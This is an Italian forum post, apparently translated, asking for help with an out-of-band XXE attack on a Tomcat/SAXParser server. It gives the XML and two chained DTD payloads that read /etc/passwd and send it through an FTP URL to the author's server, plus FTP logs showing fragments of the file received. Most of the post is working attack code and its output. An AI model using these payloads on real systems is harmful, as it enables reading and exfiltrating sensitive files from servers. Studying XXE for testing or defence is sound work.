Sto cercando di estrarre dati binari da un server Tomcat che utilizza SAXParser. Per il mio server FTP, sto utilizzando questa fonte . Sto ospitando due DTD su Github Gist. Questi sono i loro contenuti:
XML di base (cosa viene inviato al server):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "https://gist.githubusercontent.com/.../a.dtd">
<a>
<b>&send;</b>
</a>
a.dtd (primo payload DTD):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/.../b.dtd">
%dtd;
b.dtd (payload finale DTD):
<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://[my server ip]:2121/%file;'>">
%all;
La ragione per cui sto cercando di estrarre / etc / passwd è perché sto cercando di indirizzare un file binario, ma quando ciò non ha funzionato, ho pensato di iniziare con qualcosa di semplice. Ho confermato di avere accesso a / etc / passwd (l'ho appena recuperato come entità in origine).
Il server FTP funziona correttamente e mi sono assicurato che la porta fosse aperta. Questo è l'output quando viene eseguito quanto sopra.
[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...
[FTP] x has connected
[FTP] Received:
USER anonymous
[FTP] Received:
PASS Java1.8.0_131@
[FTP] > 230 more data please!
[FTP] Received:
TYPE I
[FTP] > 230 more data please!
[FTP] Received:
CWD root:x:0:0:root:
[FTP] > 230 more data please!
[FTP] Received:
CWD root:
[FTP] > 230 more data please!
[FTP] Received:
CWD bin
[FTP] > 230 more data please!
[FTP] Received:
QUIT
[FTP] > 230 more data please!
[FTP] Received:
... (a lot more blank like above)
[FTP] > 230 more data please!
[FTP] Received:
[FTP] > 230 more data please!
[FTP] Client error: [Errno 32] Broken pipe
[FTP] Connection closed with x
Un problema che ho trovato nel rispondere alla domanda di Luc è interessante. Fondamentalmente, se i dati hanno delle barre, il client FTP lo interpreta come una cartella? Non so perché si ferma però. Forse dovrò scrivere un meccanismo di risposta appropriato in modo che quando arriva un comando CWD, gli dia OK o un'altra risposta correlata.